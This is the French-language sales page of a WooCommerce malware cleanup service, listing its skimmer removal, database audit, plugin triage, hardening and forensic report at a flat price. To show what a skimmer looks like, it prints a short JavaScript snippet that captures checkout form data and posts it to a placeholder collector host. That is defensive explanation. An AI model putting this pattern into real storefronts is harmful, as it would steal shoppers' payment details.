WooCommerce malware removal.

§ 01 — CE QUI EST FAIT

Les deux côtés du fil.

• [ CÔTÉ CLIENT ]

  Skimmers de cartes, surcouches de formulaires de paiement, redirections conditionnelles, cryptojackers. JavaScript sur le checkout audité ligne par ligne.

• [ SERVICES ]

  Web shells, backdoors, payloads RCE de plugins, utilisateurs admin injectés. Supprimés en lisant les diffs de fichiers et les diffs de base de données, pas par pattern-matching.

• [ AUDIT DB ]

  wp_options pour les payloads autoloadés, wp_posts pour le spam, wp_usermeta pour les privilèges dormants, tables wp_woocommerce_* pour les altérations.

• [ TRIAGE DES PLUGINS ]

  Plugins actifs comparés aux CVE publiés. Plugins vulnérables patchés ou remplacés — pas simplement désactivés.

• [ DURCISSEMENT ]

  wp-config, permissions, rotation des secrets, XML-RPC, REST API et réduction de la surface de login.

• [ RAPPORT ]

  Rapport forensique en clair : ce qui a été trouvé, quand cela a été introduit, ce qui a été supprimé. Remettez-le à un acquéreur, un assureur ou votre QSA.

§ 02 — À QUOI RESSEMBLE UN SKIMMER

Script externe sur le checkout. C'est généralement tout.

Un skimmer WooCommerce est souvent une simple inclusion JavaScript sur la page de checkout qui envoie les champs du formulaire du client vers un hôte distant avant que WooCommerce ne soumette la commande. Le script est minuscule, l'appel réseau ressemble à un ping d'analytics tiers, et le client ne voit rien d'anormal.

01 document.querySelector('form.checkout').addEventListener('submit', function (e) {
02   const data = new FormData(e.target);
03   fetch('https://collector.example/c', {
04     method: 'POST',
05     body: data,
06     mode: 'no-cors'
07   });
08 });

Les vrais skimmers obfusquent la destination et ne se déclenchent que lorsque le total du panier est non nul — mais la structure est la même. Auditez chaque JS sur le checkout, pas seulement ceux que vous vous souvenez d'avoir installés.

§ TARIFS

Forfait $279. Une seule fois. Par site.